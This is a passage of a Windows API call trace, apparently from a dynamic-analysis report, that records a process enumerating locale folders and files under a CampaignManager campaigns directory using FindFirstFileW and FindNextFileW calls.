	[0155.114] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd840
	[0155.115] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.115] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f08d25f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f08d25f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.115] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f27d1ae, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f27d1ae, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.115] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.115] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.115] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.115] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0155.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.116] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0155.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.116] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA") returned 100
	[0155.116] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddf40
	[0155.117] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.117] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa7a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.117] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.117] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.118] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.118] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.118] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0155.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.568] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CH", cAlternateFileName="")) returned 1
	[0155.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.568] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH") returned 100
	[0155.568] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.569] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.569] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.569] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.569] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.569] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.570] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.570] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.571] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0155.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.571] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR") returned 100
	[0155.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.854] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.854] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.854] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.854] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.854] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.854] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.855] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.856] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-XF", cAlternateFileName="")) returned 1
	[0155.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.856] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF") returned 100
	[0155.856] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.857] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.857] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.858] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.858] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.858] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.858] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.858] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.859] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl-ES", cAlternateFileName="")) returned 1
	[0155.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.859] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES") returned 100
